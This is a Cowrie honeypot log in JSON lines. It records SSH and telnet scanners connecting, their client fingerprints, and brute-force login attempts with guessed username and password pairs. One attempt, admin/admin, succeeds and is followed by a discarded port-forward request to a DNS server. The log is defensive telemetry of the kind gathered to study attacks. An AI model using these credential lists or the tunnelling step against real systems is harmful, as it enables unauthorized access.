{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:51:27.001108Z","src_ip":"2.57.122.210","session":"0e87d611c8f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"eigenlayer","message":"login attempt [ubuntu/eigenlayer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:51:28.209689Z","src_ip":"2.57.122.210","session":"0e87d611c8f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:51:29.384922Z","src_ip":"2.57.122.210","session":"0e87d611c8f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":46708,"dst_ip":"10.17.0.5","dst_port":22,"session":"308c073e6af9","protocol":"ssh","message":"New connection: 193.32.162.145:46708 (10.17.0.5:22) [session: 308c073e6af9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:52:08.093931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:52:08.142150Z","src_ip":"193.32.162.145","session":"308c073e6af9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:52:08.202173Z","src_ip":"193.32.162.145","session":"308c073e6af9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"firedancer","message":"login attempt [ubuntu/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:52:08.671750Z","src_ip":"193.32.162.145","session":"308c073e6af9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:52:09.780388Z","src_ip":"193.32.162.145","session":"308c073e6af9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":28699,"dst_ip":"10.17.0.5","dst_port":23,"session":"b89936e57f1d","protocol":"telnet","message":"New connection: 212.55.149.117:28699 (10.17.0.5:23) [session: b89936e57f1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:52:23.735678Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":57114,"dst_ip":"10.17.0.5","dst_port":23,"session":"edec074bfb24","protocol":"telnet","message":"New connection: 212.55.149.117:57114 (10.17.0.5:23) [session: edec074bfb24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:52:27.575411Z"}
{"eventid":"cowrie.session.closed","duration":120.00672888755798,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:52:33.223796Z","src_ip":"212.55.149.117","session":"e73236504c42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":46566,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3c788f7f46f","protocol":"ssh","message":"New connection: 103.15.226.202:46566 (10.17.0.5:22) [session: a3c788f7f46f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:53:12.631119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:53:12.636320Z","src_ip":"103.15.226.202","session":"a3c788f7f46f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:53:12.887181Z","src_ip":"103.15.226.202","session":"a3c788f7f46f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password123!","message":"login attempt [root/Password123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:53:13.658354Z","src_ip":"103.15.226.202","session":"a3c788f7f46f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:53:14.911701Z","src_ip":"103.15.226.202","session":"a3c788f7f46f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":55322,"dst_ip":"10.17.0.5","dst_port":22,"session":"3369a54afdac","protocol":"ssh","message":"New connection: 87.251.64.176:55322 (10.17.0.5:22) [session: 3369a54afdac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:53:24.484314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:53:24.489622Z","src_ip":"87.251.64.176","session":"3369a54afdac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:53:24.587119Z","src_ip":"87.251.64.176","session":"3369a54afdac","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:53:24.877430Z","src_ip":"87.251.64.176","session":"3369a54afdac","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:53:24.977100Z","session":"3369a54afdac","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:53:25.078053Z","src_ip":"87.251.64.176","session":"3369a54afdac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:53:25.178046Z","src_ip":"87.251.64.176","session":"3369a54afdac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":71.22920274734497,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:53:34.964754Z","src_ip":"212.55.149.117","session":"b89936e57f1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":57354,"dst_ip":"10.17.0.5","dst_port":23,"session":"65a8a48bee0f","protocol":"telnet","message":"New connection: 212.55.149.117:57354 (10.17.0.5:23) [session: 65a8a48bee0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:53:37.548428Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":37076,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a6e43ed4108","protocol":"ssh","message":"New connection: 2.57.122.210:37076 (10.17.0.5:22) [session: 0a6e43ed4108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:53:46.107634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:53:46.112683Z","src_ip":"2.57.122.210","session":"0a6e43ed4108","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:53:46.219171Z","src_ip":"2.57.122.210","session":"0a6e43ed4108","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elayer","message":"login attempt [root/elayer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:53:46.571362Z","src_ip":"2.57.122.210","session":"0a6e43ed4108","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:53:47.735131Z","src_ip":"2.57.122.210","session":"0a6e43ed4108","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.231.193.85","src_port":56318,"dst_ip":"159.203.135.109","dst_port":22,"session":"14c6bb4d946a","protocol":"ssh","message":"New connection: 171.231.193.85:56318 (159.203.135.109:22) [session: 14c6bb4d946a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:54:05.941726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:54:05.946639Z","src_ip":"171.231.193.85","session":"14c6bb4d946a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:54:06.199939Z","src_ip":"171.231.193.85","session":"14c6bb4d946a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:54:07.271715Z","src_ip":"171.231.193.85","session":"14c6bb4d946a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:54:08.528690Z","src_ip":"171.231.193.85","session":"14c6bb4d946a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":38096,"dst_ip":"10.17.0.5","dst_port":22,"session":"65ea593b70b9","protocol":"ssh","message":"New connection: 193.32.162.145:38096 (10.17.0.5:22) [session: 65ea593b70b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:54:20.135585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:54:20.140467Z","src_ip":"193.32.162.145","session":"65ea593b70b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:54:20.268734Z","src_ip":"193.32.162.145","session":"65ea593b70b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"anza","message":"login attempt [ubuntu/anza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:54:20.586603Z","src_ip":"193.32.162.145","session":"65ea593b70b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:54:21.696539Z","src_ip":"193.32.162.145","session":"65ea593b70b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":57851,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc09ac5ff7c3","protocol":"telnet","message":"New connection: 212.55.149.117:57851 (10.17.0.5:23) [session: dc09ac5ff7c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:54:24.239222Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":22590,"dst_ip":"10.17.0.5","dst_port":23,"session":"8efe5805f7a3","protocol":"telnet","message":"New connection: 212.55.149.117:22590 (10.17.0.5:23) [session: 8efe5805f7a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:54:24.540073Z"}
